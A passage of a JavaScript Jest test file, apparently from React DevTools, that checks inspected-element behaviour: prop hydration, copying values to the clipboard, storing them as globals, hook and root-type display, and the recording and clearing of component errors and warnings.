null;\n\n    // Render once to get a handle on inspectElementPath()\n    inspectedElement = await inspectElementAtIndex(0, () => {\n      inspectElementPath = useInspectElementPath();\n    });\n\n    async function loadPath(path) {\n      await TestUtilsAct(async () => {\n        await TestRendererAct(() => {\n          inspectElementPath(path);\n        });\n      });\n\n      inspectedElement = await inspectElementAtIndex(0);\n    }\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"nestedObject\": {\n          \"a\": Dehydrated {\n            \"preview_short\": {…},\n            \"preview_long\": {b: {…}, value: 1},\n          },\n          \"c\": Dehydrated {\n            \"preview_short\": {…},\n            \"preview_long\": {d: {…}, value: 1},\n          },\n        },\n      }\n    `);\n\n    await loadPath(['props', 'nestedObject', 'a']);\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"nestedObject\": {\n          \"a\": {\n            \"b\": {\n              \"value\": 1,\n            },\n            \"value\": 1,\n          },\n          \"c\": Dehydrated {\n            \"preview_short\": {…},\n            \"preview_long\": {d: {…}, value: 1},\n          },\n        },\n      }\n    `);\n\n    await TestRendererAct(async () => {\n      await TestUtilsAct(async () => {\n        render(\n          <Example\n            nestedObject={{\n              a: {\n                value: 2,\n                b: {\n                  value: 2,\n                },\n              },\n              c: {\n                value: 2,\n                d: {\n                  value: 2,\n                  e: {\n                    value: 2,\n                  },\n                },\n              },\n            }}\n          />,\n        );\n      });\n    });\n\n    await loadPath(['props', 'nestedObject', 'c']);\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"nestedObject\": {\n          \"a\": {\n            \"b\": {\n              \"value\": 2,\n            },\n            \"value\": 2,\n          },\n          \"c\": {\n            \"d\": {\n              \"e\": Dehydrated {\n                \"preview_short\": {…},\n                \"preview_long\": {value: 2},\n              },\n              \"value\": 2,\n            },\n            \"value\": 2,\n          },\n        },\n      }\n    `);\n  });\n\n  it('should not tear if hydration is requested after an update', async () => {\n    const Example = () => null;\n\n    await utils.actAsync(() =>\n      render(\n        <Example\n          nestedObject={{\n            value: 1,\n            a: {\n              value: 1,\n              b: {\n                value: 1,\n              },\n            },\n          }}\n        />,\n      ),\n    );\n\n    let inspectedElement = null;\n    let inspectElementPath = null;\n\n    // Render once to get a handle on inspectElementPath()\n    inspectedElement = await inspectElementAtIndex(0, () => {\n      inspectElementPath = useInspectElementPath();\n    });\n\n    async function loadPath(path) {\n      await TestUtilsAct(async () => {\n        await TestRendererAct(() => {\n          inspectElementPath(path);\n        });\n      });\n\n      inspectedElement = await inspectElementAtIndex(0);\n    }\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"nestedObject\": {\n          \"a\": Dehydrated {\n            \"preview_short\": {…},\n            \"preview_long\": {b: {…}, value: 1},\n          },\n          \"value\": 1,\n        },\n      }\n    `);\n\n    await TestUtilsAct(async () => {\n      render(\n        <Example\n          nestedObject={{\n            value: 2,\n            a: {\n              value: 2,\n              b: {\n                value: 2,\n              },\n            },\n          }}\n        />,\n      );\n    });\n\n    await loadPath(['props', 'nestedObject', 'a']);\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"nestedObject\": {\n          \"a\": {\n            \"b\": {\n              \"value\": 2,\n            },\n            \"value\": 2,\n          },\n          \"value\": 2,\n        },\n      }\n    `);\n  });\n\n  // TODO(hoxyq): Enable this test for versions ~18, currently broken\n  // @reactVersion <= 18.2\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('should inspect hooks for components that only use context (legacy render)', async () => {\n    const Context = React.createContext(true);\n    const Example = () => {\n      const value = React.useContext(Context);\n      return value;\n    };\n\n    await utils.actAsync(() => legacyRender(<Example a={1} b=\"abc\" />));\n\n    const inspectedElement = await inspectElementAtIndex(0);\n    expect(inspectedElement).toMatchInlineSnapshot(`\n      {\n        \"context\": null,\n        \"events\": undefined,\n        \"hooks\": [\n          {\n            \"debugInfo\": null,\n            \"hookSource\": {\n              \"columnNumber\": \"removed by Jest serializer\",\n              \"fileName\": \"react-devtools-shared/src/__tests__/inspectedElement-test.js\",\n              \"functionName\": \"Example\",\n              \"lineNumber\": \"removed by Jest serializer\",\n            },\n            \"id\": null,\n            \"isStateEditable\": false,\n            \"name\": \"Context\",\n            \"subHooks\": [],\n            \"value\": true,\n          },\n        ],\n        \"id\": 2,\n        \"owners\": null,\n        \"props\": {\n          \"a\": 1,\n          \"b\": \"abc\",\n        },\n        \"rootType\": \"render()\",\n        \"state\": null,\n      }\n    `);\n  });\n\n  it('should inspect hooks for components that only use context (createRoot)', async () => {\n    const Context = React.createContext(true);\n    const Example = () => {\n      const value = React.useContext(Context);\n      return value;\n    };\n\n    await utils.actAsync(() => modernRender(<Example a={1} b=\"abc\" />));\n\n    const inspectedElement = await inspectElementAtIndex(0);\n    expect(inspectedElement).toMatchInlineSnapshot(`\n      {\n        \"context\": null,\n        \"events\": undefined,\n        \"hooks\": [\n          {\n            \"debugInfo\": null,\n            \"hookSource\": {\n              \"columnNumber\": \"removed by Jest serializer\",\n              \"fileName\": \"react-devtools-shared/src/__tests__/inspectedElement-test.js\",\n              \"functionName\": \"Example\",\n              \"lineNumber\": \"removed by Jest serializer\",\n            },\n            \"id\": null,\n            \"isStateEditable\": false,\n            \"name\": \"Context\",\n            \"subHooks\": [],\n            \"value\": true,\n          },\n        ],\n        \"id\": 2,\n        \"owners\": null,\n        \"props\": {\n          \"a\": 1,\n          \"b\": \"abc\",\n        },\n        \"rootType\": \"createRoot()\",\n        \"state\": null,\n      }\n    `);\n  });\n\n  it('should enable inspected values to be stored as global variables', async () => {\n    const Example = () => null;\n\n    const nestedObject = {\n      a: {\n        value: 1,\n        b: {\n          value: 1,\n          c: {\n            value: 1,\n          },\n        },\n      },\n    };\n\n    await utils.actAsync(() => render(<Example nestedObject={nestedObject} />));\n\n    let storeAsGlobal: StoreAsGlobal = ((null: any): StoreAsGlobal);\n\n    const id = ((store.getElementIDAtIndex(0): any): number);\n    await inspectElementAtIndex(0, () => {\n      storeAsGlobal = (path: Array<string | number>) => {\n        const rendererID = store.getRendererIDForElement(id);\n        if (rendererID !== null) {\n          const {\n            storeAsGlobal: storeAsGlobalAPI,\n          } = require('react-devtools-shared/src/backendAPI');\n          storeAsGlobalAPI({\n            bridge,\n            id,\n            path,\n            rendererID,\n          });\n        }\n      };\n    });\n\n    jest.spyOn(console, 'log').mockImplementation(() => {});\n\n    // Should store the whole value (not just the hydrated parts)\n    storeAsGlobal(['props', 'nestedObject']);\n    jest.runOnlyPendingTimers();\n    expect(console.log).toHaveBeenCalledWith('$reactTemp0');\n    expect(global.$reactTemp0).toBe(nestedObject);\n\n    console.log.mockReset();\n\n    // Should store the nested property specified (not just the outer value)\n    storeAsGlobal(['props', 'nestedObject', 'a', 'b']);\n    jest.runOnlyPendingTimers();\n    expect(console.log).toHaveBeenCalledWith('$reactTemp1');\n    expect(global.$reactTemp1).toBe(nestedObject.a.b);\n  });\n\n  it('should enable inspected values to be copied to the clipboard', async () => {\n    const Example = () => null;\n\n    const nestedObject = {\n      a: {\n        value: 1,\n        b: {\n          value: 1,\n          c: {\n            value: 1,\n          },\n        },\n      },\n    };\n\n    await utils.actAsync(() => render(<Example nestedObject={nestedObject} />));\n\n    let copyPath: CopyInspectedElementPath =\n      ((null: any): CopyInspectedElementPath);\n\n    const id = ((store.getElementIDAtIndex(0): any): number);\n    await inspectElementAtIndex(0, () => {\n      copyPath = (path: Array<string | number>) => {\n        const rendererID = store.getRendererIDForElement(id);\n        if (rendererID !== null) {\n          const {\n            copyInspectedElementPath,\n          } = require('react-devtools-shared/src/backendAPI');\n          copyInspectedElementPath({\n            bridge,\n            id,\n            path,\n            rendererID,\n          });\n        }\n      };\n    });\n\n    // Should copy the whole value (not just the hydrated parts)\n    copyPath(['props', 'nestedObject']);\n    jest.runOnlyPendingTimers();\n    expect(global.mockClipboardCopy).toHaveBeenCalledTimes(1);\n    expect(global.mockClipboardCopy).toHaveBeenCalledWith(\n      JSON.stringify(nestedObject, undefined, 2),\n    );\n\n    global.mockClipboardCopy.mockReset();\n\n    // Should copy the nested property specified (not just the outer value)\n    copyPath(['props', 'nestedObject', 'a', 'b']);\n    jest.runOnlyPendingTimers();\n    expect(global.mockClipboardCopy).toHaveBeenCalledTimes(1);\n    expect(global.mockClipboardCopy).toHaveBeenCalledWith(\n      JSON.stringify(nestedObject.a.b, undefined, 2),\n    );\n  });\n\n  it('should enable complex values to be copied to the clipboard', async () => {\n    const Immutable = require('immutable');\n\n    const Example = () => null;\n\n    const set = new Set(['abc', 123]);\n    const map = new Map([\n      ['name', 'Brian'],\n      ['food', 'sushi'],\n    ]);\n    const setOfSets = new Set([new Set(['a', 'b', 'c']), new Set([1, 2, 3])]);\n    const mapOfMaps = new Map([\n      ['first', map],\n      ['second', map],\n    ]);\n    const typedArray = Int8Array.from([100, -100, 0]);\n    const arrayBuffer = typedArray.buffer;\n    const dataView = new DataView(arrayBuffer);\n    const immutable = Immutable.fromJS({\n      a: [{hello: 'there'}, 'fixed', true],\n      b: 123,\n      c: {\n        '1': 'xyz',\n        xyz: 1,\n      },\n    });\n    const bigInt = BigInt(123);\n\n    await utils.actAsync(() =>\n      render(\n        <Example\n          arrayBuffer={arrayBuffer}\n          dataView={dataView}\n          map={map}\n          set={set}\n          mapOfMaps={mapOfMaps}\n          setOfSets={setOfSets}\n          typedArray={typedArray}\n          immutable={immutable}\n          bigInt={bigInt}\n        />,\n      ),\n    );\n\n    const id = ((store.getElementIDAtIndex(0): any): number);\n\n    let copyPath: CopyInspectedElementPath =\n      ((null: any): CopyInspectedElementPath);\n\n    await inspectElementAtIndex(0, () => {\n      copyPath = (path: Array<string | number>) => {\n        const rendererID = store.getRendererIDForElement(id);\n        if (rendererID !== null) {\n          const {\n            copyInspectedElementPath,\n          } = require('react-devtools-shared/src/backendAPI');\n          copyInspectedElementPath({\n            bridge,\n            id,\n            path,\n            rendererID,\n          });\n        }\n      };\n    });\n\n    // Should copy the whole value (not just the hydrated parts)\n    copyPath(['props']);\n    jest.runOnlyPendingTimers();\n    // Should not error despite lots of unserialized values.\n\n    global.mockClipboardCopy.mockReset();\n\n    // Should copy the nested property specified (not just the outer value)\n    copyPath(['props', 'bigInt']);\n    jest.runOnlyPendingTimers();\n    expect(global.mockClipboardCopy).toHaveBeenCalledTimes(1);\n    expect(global.mockClipboardCopy).toHaveBeenCalledWith(\n      JSON.stringify('123n', undefined, 2),\n    );\n\n    global.mockClipboardCopy.mockReset();\n\n    // Should copy the nested property specified (not just the outer value)\n    copyPath(['props', 'typedArray']);\n    jest.runOnlyPendingTimers();\n    expect(global.mockClipboardCopy).toHaveBeenCalledTimes(1);\n    expect(global.mockClipboardCopy).toHaveBeenCalledWith(\n      JSON.stringify({0: 100, 1: -100, 2: 0}, undefined, 2),\n    );\n  });\n\n  it('should display complex values of useDebugValue', async () => {\n    function useDebuggableHook() {\n      React.useDebugValue({foo: 2});\n      React.useState(1);\n      return 1;\n    }\n    function DisplayedComplexValue() {\n      useDebuggableHook();\n      return null;\n    }\n\n    await utils.actAsync(() => render(<DisplayedComplexValue />));\n\n    const {hooks} = await inspectElementAtIndex(0);\n    expect(hooks).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": \"removed by Jest serializer\",\n            \"fileName\": \"react-devtools-shared/src/__tests__/inspectedElement-test.js\",\n            \"functionName\": \"DisplayedComplexValue\",\n            \"lineNumber\": \"removed by Jest serializer\",\n          },\n          \"id\": null,\n          \"isStateEditable\": false,\n          \"name\": \"DebuggableHook\",\n          \"subHooks\": [\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": \"removed by Jest serializer\",\n                \"fileName\": \"react-devtools-shared/src/__tests__/inspectedElement-test.js\",\n                \"functionName\": \"useDebuggableHook\",\n                \"lineNumber\": \"removed by Jest serializer\",\n              },\n              \"id\": 0,\n              \"isStateEditable\": true,\n              \"name\": \"State\",\n              \"subHooks\": [],\n              \"value\": 1,\n            },\n          ],\n          \"value\": {\n            \"foo\": 2,\n          },\n        },\n      ]\n    `);\n  });\n\n  // See github.com/facebook/react/issues/21654\n  it('should support Proxies that dont return an iterator', async () => {\n    const Example = () => null;\n    const proxy = new Proxy(\n      {},\n      {\n        get: (target, prop, receiver) => {\n          target[prop] = value => {};\n          return target[prop];\n        },\n      },\n    );\n\n    await utils.actAsync(() => render(<Example proxy={proxy} />));\n\n    const inspectedElement = await inspectElementAtIndex(0);\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"proxy\": {\n          \"$$typeof\": Dehydrated {\n            \"preview_short\": () => {},\n            \"preview_long\": () => {},\n          },\n          \"Symbol(Symbol.iterator)\": Dehydrated {\n            \"preview_short\": () => {},\n            \"preview_long\": () => {},\n          },\n          \"constructor\": Dehydrated {\n            \"preview_short\": () => {},\n            \"preview_long\": () => {},\n          },\n        },\n      }\n    `);\n  });\n\n  // TODO(hoxyq): Enable this test for versions ~18, currently broken\n  // Regression test for github.com/facebook/react/issues/22099\n  // @reactVersion <= 18.2\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('should not error when an unchanged component is re-inspected after component filters changed (legacy render)', async () => {\n    const Example = () => <div />;\n\n    await utils.actAsync(() => legacyRender(<Example />));\n\n    // Select/inspect element\n    let inspectedElement = await inspectElementAtIndex(0);\n    expect(inspectedElement).toMatchInlineSnapshot(`\n      {\n        \"context\": null,\n        \"events\": undefined,\n        \"hooks\": null,\n        \"id\": 2,\n        \"owners\": null,\n        \"props\": {},\n        \"rootType\": \"render()\",\n        \"state\": null,\n      }\n    `);\n\n    await utils.actAsync(async () => {\n      // Ignore transient warning this causes\n      withErrorsOrWarningsIgnored(['No element found with id'], () => {\n        store.componentFilters = [];\n\n        // Flush events to the renderer.\n        jest.runOnlyPendingTimers();\n      });\n    }, false);\n\n    // HACK: Recreate TestRenderer instance because we rely on default state values\n    // from props like defaultInspectedElementID and it's easier to reset here than\n    // to read the TreeDispatcherContext and update the selected ID that way.\n    // We're testing the inspected values here, not the context wiring, so that's ok.\n    withErrorsOrWarningsIgnored(\n      ['An update to %s inside a test was not wrapped in act'],\n      () => {\n        testRendererInstance = TestRenderer.create(null, {\n          unstable_isConcurrent: true,\n        });\n      },\n    );\n\n    // Select/inspect the same element again\n    inspectedElement = await inspectElementAtIndex(0);\n    expect(inspectedElement).toMatchInlineSnapshot(`\n      {\n        \"context\": null,\n        \"events\": undefined,\n        \"hooks\": null,\n        \"id\": 2,\n        \"owners\": null,\n        \"props\": {},\n        \"rootType\": \"render()\",\n        \"state\": null,\n      }\n    `);\n  });\n\n  // Regression test for github.com/facebook/react/issues/22099\n  it('should not error when an unchanged component is re-inspected after component filters changed (createRoot)', async () => {\n    const Example = () => <div />;\n\n    await utils.actAsync(() => modernRender(<Example />));\n\n    // Select/inspect element\n    let inspectedElement = await inspectElementAtIndex(0);\n    expect(inspectedElement).toMatchInlineSnapshot(`\n      {\n        \"context\": null,\n        \"events\": undefined,\n        \"hooks\": null,\n        \"id\": 2,\n        \"owners\": null,\n        \"props\": {},\n        \"rootType\": \"createRoot()\",\n        \"state\": null,\n      }\n    `);\n\n    await utils.actAsync(async () => {\n      // Ignore transient warning this causes\n      withErrorsOrWarningsIgnored(['No element found with id'], () => {\n        store.componentFilters = [];\n\n        // Flush events to the renderer.\n        jest.runOnlyPendingTimers();\n      });\n    }, false);\n\n    // HACK: Recreate TestRenderer instance because we rely on default state values\n    // from props like defaultInspectedElementID and it's easier to reset here than\n    // to read the TreeDispatcherContext and update the selected ID that way.\n    // We're testing the inspected values here, not the context wiring, so that's ok.\n    withErrorsOrWarningsIgnored(\n      ['An update to %s inside a test was not wrapped in act'],\n      () => {\n        testRendererInstance = TestRenderer.create(null, {\n          unstable_isConcurrent: true,\n        });\n      },\n    );\n\n    // Select/inspect the same element again\n    inspectedElement = await inspectElementAtIndex(0);\n    expect(inspectedElement).toMatchInlineSnapshot(`\n      {\n        \"context\": null,\n        \"events\": undefined,\n        \"hooks\": null,\n        \"id\": 4,\n        \"owners\": null,\n        \"props\": {},\n        \"rootType\": \"createRoot()\",\n        \"state\": null,\n      }\n    `);\n  });\n\n  // TODO(hoxyq): Enable this test for versions ~18, currently broken\n  // @reactVersion <= 18.2\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('should display the root type for ReactDOM.hydrate', async () => {\n    const Example = () => <div />;\n\n    await utils.actAsync(() => {\n      const container = document.createElement('div');\n      container.innerHTML = '<div></div>';\n      withErrorsOrWarningsIgnored(\n        ['ReactDOM.hydrate has not been supported since React 18'],\n        () => {\n          ReactDOM.hydrate(<Example />, container);\n        },\n      );\n    }, false);\n\n    const inspectedElement = await inspectElementAtIndex(0);\n    expect(inspectedElement.rootType).toMatchInlineSnapshot(`\"hydrate()\"`);\n  });\n\n  // TODO(hoxyq): Enable this test for versions ~18, currently broken\n  // @reactVersion <= 18.2\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('should display the root type for ReactDOM.render', async () => {\n    const Example = () => <div />;\n\n    await utils.actAsync(() => {\n      legacyRender(<Example />);\n    }, false);\n\n    const inspectedElement = await inspectElementAtIndex(0);\n    expect(inspectedElement.rootType).toMatchInlineSnapshot(`\"render()\"`);\n  });\n\n  it('should display the root type for ReactDOMClient.hydrateRoot', async () => {\n    const Example = () => <div />;\n\n    await utils.actAsync(() => {\n      const container = document.createElement('div');\n      container.innerHTML = '<div></div>';\n      ReactDOMClient.hydrateRoot(container, <Example />);\n    }, false);\n\n    const inspectedElement = await inspectElementAtIndex(0);\n    expect(inspectedElement.rootType).toMatchInlineSnapshot(`\"hydrateRoot()\"`);\n  });\n\n  it('should display the root type for ReactDOMClient.createRoot', async () => {\n    const Example = () => <div />;\n\n    await utils.actAsync(() => {\n      const container = document.createElement('div');\n      ReactDOMClient.createRoot(container).render(<Example />);\n    }, false);\n\n    const inspectedElement = await inspectElementAtIndex(0);\n    expect(inspectedElement.rootType).toMatchInlineSnapshot(`\"createRoot()\"`);\n  });\n\n  it('should gracefully surface backend errors on the frontend rather than timing out', async () => {\n    jest.spyOn(console, 'error').mockImplementation(() => {});\n\n    let shouldThrow = false;\n\n    const Example = () => {\n      const [count] = React.useState(0);\n\n      if (shouldThrow) {\n        throw Error('Expected');\n      } else {\n        return count;\n      }\n    };\n\n    await utils.actAsync(() => {\n      render(<Example />);\n    }, false);\n\n    shouldThrow = true;\n\n    const value = await inspectElementAtIndex(0, noop, true);\n\n    expect(value).toBe(null);\n\n    const error = errorBoundaryInstance.state.error;\n    expect(error.message).toBe('Expected');\n    expect(error.stack).toContain('inspectHooksOfFiber');\n  });\n\n  describe('$r', () => {\n    it('should support function components', async () => {\n      const Example = () => {\n        const [count] = React.useState(1);\n        return count;\n      };\n\n      await utils.actAsync(() => render(<Example a={1} b=\"abc\" />));\n\n      await inspectElementAtIndex(0);\n\n      expect(global.$r).toMatchInlineSnapshot(`\n        {\n          \"hooks\": [\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": \"removed by Jest serializer\",\n                \"fileName\": \"react-devtools-shared/src/__tests__/inspectedElement-test.js\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": \"removed by Jest serializer\",\n              },\n              \"id\": 0,\n              \"isStateEditable\": true,\n              \"name\": \"State\",\n              \"subHooks\": [],\n              \"value\": 1,\n            },\n          ],\n          \"props\": {\n            \"a\": 1,\n            \"b\": \"abc\",\n          },\n          \"type\": [Function],\n        }\n      `);\n    });\n\n    it('should support memoized function components', async () => {\n      const Example = React.memo(function Example(props) {\n        const [count] = React.useState(1);\n        return count;\n      });\n\n      await utils.actAsync(() => render(<Example a={1} b=\"abc\" />));\n\n      await inspectElementAtIndex(0);\n\n      expect(global.$r).toMatchInlineSnapshot(`\n        {\n          \"hooks\": [\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": \"removed by Jest serializer\",\n                \"fileName\": \"react-devtools-shared/src/__tests__/inspectedElement-test.js\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": \"removed by Jest serializer\",\n              },\n              \"id\": 0,\n              \"isStateEditable\": true,\n              \"name\": \"State\",\n              \"subHooks\": [],\n              \"value\": 1,\n            },\n          ],\n          \"props\": {\n            \"a\": 1,\n            \"b\": \"abc\",\n          },\n          \"type\": [Function],\n        }\n      `);\n    });\n\n    it('should support forward refs', async () => {\n      const Example = React.forwardRef(function Example(props, ref) {\n        const [count] = React.useState(1);\n        return count;\n      });\n\n      await utils.actAsync(() => render(<Example a={1} b=\"abc\" />));\n\n      await inspectElementAtIndex(0);\n\n      expect(global.$r).toMatchInlineSnapshot(`\n        {\n          \"hooks\": [\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": \"removed by Jest serializer\",\n                \"fileName\": \"react-devtools-shared/src/__tests__/inspectedElement-test.js\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": \"removed by Jest serializer\",\n              },\n              \"id\": 0,\n              \"isStateEditable\": true,\n              \"name\": \"State\",\n              \"subHooks\": [],\n              \"value\": 1,\n            },\n          ],\n          \"props\": {\n            \"a\": 1,\n            \"b\": \"abc\",\n          },\n          \"type\": [Function],\n        }\n      `);\n    });\n\n    it('should support class components', async () => {\n      class Example extends React.Component {\n        state = {\n          count: 0,\n        };\n        render() {\n          return null;\n        }\n      }\n\n      await utils.actAsync(() => render(<Example a={1} b=\"abc\" />));\n\n      await inspectElementAtIndex(0);\n\n      expect(global.$r.props).toMatchInlineSnapshot(`\n              {\n                \"a\": 1,\n                \"b\": \"abc\",\n              }\n            `);\n      expect(global.$r.state).toMatchInlineSnapshot(`\n              {\n                \"count\": 0,\n              }\n            `);\n    });\n  });\n\n  describe('inline errors and warnings', () => {\n    async function getErrorsAndWarningsForElementAtIndex(index) {\n      const id = ((store.getElementIDAtIndex(index): any): number);\n      if (id == null) {\n        throw Error(`Element at index \"${index}\"\" not found in store`);\n      }\n\n      let errors = null;\n      let warnings = null;\n\n      function Suspender({target}) {\n        const inspectedElement = useInspectedElement();\n        errors = inspectedElement.errors;\n        warnings = inspectedElement.warnings;\n        return null;\n      }\n\n      let root;\n      await utils.actAsync(() => {\n        root = TestRenderer.create(\n          <Contexts\n            defaultInspectedElementID={id}\n            defaultInspectedElementIndex={index}>\n            <React.Suspense fallback={null}>\n              <Suspender target={id} />\n            </React.Suspense>\n          </Contexts>,\n          {unstable_isConcurrent: true},\n        );\n      }, false);\n      await utils.actAsync(() => {\n        root.unmount();\n      }, false);\n\n      return {errors, warnings};\n    }\n\n    it('during render get recorded', async () => {\n      const Example = () => {\n        console.error('test-only: render error');\n        console.warn('test-only: render warning');\n        return null;\n      };\n\n      await withErrorsOrWarningsIgnored(['test-only: '], async () => {\n        await utils.actAsync(() => render(<Example repeatWarningCount={1} />));\n      });\n\n      const data = await getErrorsAndWarningsForElementAtIndex(0);\n      expect(data).toMatchInlineSnapshot(`\n        {\n          \"errors\": [\n            [\n              \"test-only: render error\",\n              1,\n            ],\n          ],\n          \"warnings\": [\n            [\n              \"test-only: render warning\",\n              1,\n            ],\n          ],\n        }\n      `);\n    });\n\n    it('during render get deduped', async () => {\n      const Example = () => {\n        console.error('test-only: render error');\n        console.error('test-only: render error');\n        console.warn('test-only: render warning');\n        console.warn('test-only: render warning');\n        console.warn('test-only: render warning');\n        return null;\n      };\n\n      await withErrorsOrWarningsIgnored(['test-only:'], async () => {\n        await utils.actAsync(() => render(<Example repeatWarningCount={1} />));\n      });\n      const data = await getErrorsAndWarningsForElementAtIndex(0);\n      expect(data).toMatchInlineSnapshot(`\n        {\n          \"errors\": [\n            [\n              \"test-only: render error\",\n              2,\n            ],\n          ],\n          \"warnings\": [\n            [\n              \"test-only: render warning\",\n              3,\n            ],\n          ],\n        }\n      `);\n    });\n\n    it('during layout (mount) get recorded', async () => {\n      const Example = () => {\n        // Note we only test mount because once the component unmounts,\n        // it is no longer in the store and warnings are ignored.\n        React.useLayoutEffect(() => {\n          console.error('test-only: useLayoutEffect error');\n          console.warn('test-only: useLayoutEffect warning');\n        }, []);\n        return null;\n      };\n\n      await withErrorsOrWarningsIgnored(['test-only:'], async () => {\n        await utils.actAsync(() => render(<Example repeatWarningCount={1} />));\n      });\n\n      const data = await getErrorsAndWarningsForElementAtIndex(0);\n      expect(data).toMatchInlineSnapshot(`\n        {\n          \"errors\": [\n            [\n              \"test-only: useLayoutEffect error\",\n              1,\n            ],\n          ],\n          \"warnings\": [\n            [\n              \"test-only: useLayoutEffect warning\",\n              1,\n            ],\n          ],\n        }\n      `);\n    });\n\n    it('during passive (mount) get recorded', async () => {\n      const Example = () => {\n        // Note we only test mount because once the component unmounts,\n        // it is no longer in the store and warnings are ignored.\n        React.useEffect(() => {\n          console.error('test-only: useEffect error');\n          console.warn('test-only: useEffect warning');\n        }, []);\n        return null;\n      };\n\n      await withErrorsOrWarningsIgnored(['test-only:'], async () => {\n        await utils.actAsync(() => render(<Example repeatWarningCount={1} />));\n      });\n\n      const data = await getErrorsAndWarningsForElementAtIndex(0);\n      expect(data).toMatchInlineSnapshot(`\n        {\n          \"errors\": [\n            [\n              \"test-only: useEffect error\",\n              1,\n            ],\n          ],\n          \"warnings\": [\n            [\n              \"test-only: useEffect warning\",\n              1,\n            ],\n          ],\n        }\n      `);\n    });\n\n    it('from react get recorded without a component stack', async () => {\n      const Example = () => {\n        return [<div />];\n      };\n\n      await withErrorsOrWarningsIgnored(\n        ['Each child in a list should have a unique \"key\" prop.'],\n        async () => {\n          await utils.actAsync(() =>\n            render(<Example repeatWarningCount={1} />),\n          );\n        },\n      );\n\n      const data = await getErrorsAndWarningsForElementAtIndex(0);\n      expect(data).toMatchInlineSnapshot(`\n        {\n          \"errors\": [],\n          \"warnings\": [],\n        }\n      `);\n    });\n\n    it('can be cleared for the whole app', async () => {\n      const Example = () => {\n        console.error('test-only: render error');\n        console.warn('test-only: render warning');\n        return null;\n      };\n\n      await withErrorsOrWarningsIgnored(['test-only:'], async () => {\n        await utils.actAsync(() => render(<Example repeatWarningCount={1} />));\n      });\n\n      const {\n        clearErrorsAndWarnings,\n      } = require('react-devtools-shared/src/backendAPI');\n      clearErrorsAndWarnings({bridge, store});\n\n      // Flush events to the renderer.\n      jest.runOnlyPendingTimers();\n\n      const data = await getErrorsAndWarningsForElementAtIndex(0);\n      expect(data).toMatchInlineSnapshot(`\n        {\n          \"errors\": [],\n          \"warnings\": [],\n        }\n      `);\n    });\n\n    it('can be cleared for a particular Fiber (only warnings)', async () => {\n      const Example = ({id}) => {\n        console.error(`test-only: render error #${id}`);\n        console.warn(`test-only: render warning #${id}`);\n        return null;\n      };\n\n      await withErrorsOrWarningsIgnored(['test-only:'], async () => {\n        await utils.actAsync(() =>\n          render(\n            <React.Fragment>\n              <Example id={1} />\n              <Example id={2} />\n            </React.Fragment>,\n          ),\n        );\n      });\n\n      let id = ((store.getElementIDAtIndex(1): any): number);\n      const rendererID = store.getRendererIDForElement(id);\n\n      const {\n        clearWarningsForElement,\n      } = require('react-devtools-shared/src/backendAPI');\n      clearWarningsForElement({bridge, id, rendererID});\n\n      // Flush events to the renderer.\n      jest.runOnlyPendingTimers();\n\n      let data = [\n        await getErrorsAndWarningsForElementAtIndex(0),\n        await getErrorsAndWarningsForElementAtIndex(1),\n      ];\n      expect(data).toMatchInlineSnapshot(`\n        [\n          {\n            \"errors\": [\n              [\n                \"test-only: render error #1\",\n                1,\n              ],\n            ],\n            \"warnings\": [\n              [\n                \"test-only: render warning #1\",\n                1,\n              ],\n            ],\n          },\n          {\n            \"errors\": [\n              [\n                \"test-only: render error #2\",\n                1,\n              ],\n            ],\n            \"warnings\": [],\n          },\n        ]\n      `);\n\n      id = ((store.getElementIDAtIndex(0): any): number);\n      clearWarningsForElement({bridge, id, rendererID});\n\n      // Flush events to the renderer.\n      jest.runOnlyPendingTimers();\n\n      data = [\n        await getErrorsAndWarningsForElementAtIndex(0),\n        await getErrorsAndWarningsForElementAtIndex(1),\n      ];\n      expect(data).toMatchInlineSnapshot(`\n        [\n          {\n            \"errors\": [\n              [\n                \"test-only: render error #1\",\n                1,\n              ],\n            ],\n            \"warnings\": [],\n          },\n          {\n            \"errors\": [\n              [\n                \"test-only: render error #2\",\n                1,\n              ],\n            ],\n            \"warnings\": [],\n          },\n        ]\n      `);\n    });\n\n    it('can be cleared for a particular Fiber (only errors)', async () => {\n      const Example = ({id}) => {\n        console.error(`test-only: render error #${id}`);\n        console.warn(`test-only: render warning #${id}`);\n        return null;\n      };\n\n      await withErrorsOrWarningsIgnored(['test-only:'], async () => {\n        await utils.actAsync(() =>\n          render(\n            <React.Fragment>\n              <Example id={1} />\n              <Example id={2} />\n            </React.Fragment>,\n          ),\n        );\n      });\n\n      let id = ((store.getElementIDAtIndex(1): any): number);\n      const rendererID = store.getRendererIDForElement(id);\n\n      const {\n        clearErrorsForElement,\n      } = require('react-devtools-shared/src/backendAPI');\n      clearErrorsForElement({bridge, id, rendererID});\n\n      // Flush events to the renderer.\n      jest.runOnlyPendingTimers();\n\n      let data = [\n        await getErrorsAndWarningsForElementAtIndex(0),\n        await getErrorsAndWarningsForElementAtIndex(1),\n      ];\n      expect(data).toMatchInlineSnapshot(`\n        [\n          {\n            \"errors\": [\n              [\n                \"test-only: render error #1\",\n                1,\n              ],\n            ],\n            \"warnings\": [\n              [\n                \"test-only: render warning #1\",\n                1,\n              ],\n            ],\n          },\n          {\n            \"errors\": [],\n            \"warnings\": [\n              [\n                \"test-only: render warning #2\",\n                1,\n              ],\n            ],\n          },\n        ]\n      `);\n\n      id = ((store.getElementIDAtIndex(0): any): number);\n      